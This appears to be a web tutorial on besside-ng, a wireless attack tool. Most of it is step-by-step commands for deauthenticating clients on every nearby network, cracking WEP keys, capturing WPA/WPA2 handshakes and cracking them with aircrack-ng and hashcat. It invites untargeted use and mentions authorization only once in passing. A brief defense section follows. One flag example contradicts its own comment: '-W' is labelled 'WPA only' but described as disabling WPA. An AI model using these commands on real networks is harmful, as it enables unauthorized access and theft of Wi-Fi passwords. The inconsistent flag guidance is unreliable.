Techzone/Besside-ng

Besside-ng

3 min readArticle

Besside-ng is part of the aircrack-ng suite and does one thing ruthlessly well: auto-attacks every AP in range without any interaction from you. It cracks WEP on the fly and captures WPA/WPA2 handshakes for every visible network simultaneously. Point it at a monitor-mode interface and walk away.

What It Does

  • WEP: Fully automated — injects ARP requests, collects IVs, cracks internally with aircrack-ng. No manual steps.
  • WPA/WPA2: Deauths associated clients, forces re-association, captures 4-way handshakes, saves them to wpa.cap
  • Logs everything to besside.log — one line per network with result (cracked key or handshake status)
  • Hops channels automatically; attacks all visible networks concurrently

Prerequisites

bash 
# Put the card into monitor mode
airmon-ng start wlan0

# Verify monitor mode interface is up
iwconfig | grep Mode

# Test packet injection capability
aireplay-ng --test wlan0mon

Basic Usage

bash 
# Attack all WEP and WPA networks in range (the blunt approach)
besside-ng wlan0mon

# Target a single AP by BSSID
besside-ng -b AA:BB:CC:DD:EE:FF wlan0mon

# Lock to a specific channel (reduces noise, faster on target channel)
besside-ng -c 6 wlan0mon

# WPA only — skip WEP, only capture handshakes
besside-ng -W wlan0mon    # Note: -W means "no WPA" — use without -W for WPA

# Verbose — shows deauth and inject activity in real time
besside-ng -v wlan0mon

# Skip a specific BSSID (e.g., your own AP or an authorized exclusion)
besside-ng -s AA:BB:CC:DD:EE:FF wlan0mon

Output Files

File Contents
wpa.cap All captured WPA handshakes — feed to aircrack-ng or hashcat
wep.cap WEP packet captures
besside.log Per-network outcome log

Check the log while it runs:

bash 
tail -f besside.log

Cracking WPA Handshakes After Capture

bash 
# Dictionary attack on all captured handshakes at once
aircrack-ng wpa.cap -w /usr/share/wordlists/rockyou.txt

# Specify target ESSID to focus on one network in a multi-network capture
aircrack-ng wpa.cap -w /usr/share/wordlists/rockyou.txt -e "TargetSSID"

# Convert to hashcat 22000 format for GPU cracking (much faster)
hcxpcapngtool -o hashes.hc22000 wpa.cap
hashcat -m 22000 hashes.hc22000 /usr/share/wordlists/rockyou.txt --force

# Check which networks have valid handshakes in the cap
aircrack-ng wpa.cap

Key Flags Reference

Flag Meaning
-b Target single AP only
-c Lock to channel number
-W Disable WPA (WEP only mode)
-v Verbose output
-s Skip this BSSID
-R Skip 802.11w / MFP check

Limitations and Gotchas

  • Injection-capable card required — most built-in laptop cards don't support injection. Use Alfa AWUS036ACH or similar.
  • WEP cracking needs traffic — if no clients are associated, it may stall waiting for ARP responses. Open APs with active clients crack fastest.
  • WPA requires at least one associated client — it can't capture a handshake if no device is connected to the AP.
  • WPA3-only networks are immune — SAE authentication is not vulnerable to deauth-based handshake capture.
  • Very noisy — besside-ng sends a flood of deauth frames and injection packets. Detected easily by any WIDS.
  • Log gets large fast in dense environments — pipe through tee: besside-ng wlan0mon 2>&1 | tee session.log

Defense Perspective

  • Never run WEP — it's dead. besside-ng cracks it in minutes regardless of key length.
  • Enable 802.11w (PMF) — Management Frame Protection makes deauth floods ineffective. Most modern routers support it; enable "Required" mode.
  • WPA3 transition mode — protects modern devices while supporting legacy WPA2 clients.
  • Wireless IDS — tools like Kismet, Snort wireless rules, or commercial WIDS will alert on mass deauth events.
  • SSID hiding doesn't help — besside-ng captures probe responses and beacon frames regardless.

Reference

techzonesite.comUnlock Your IT Potential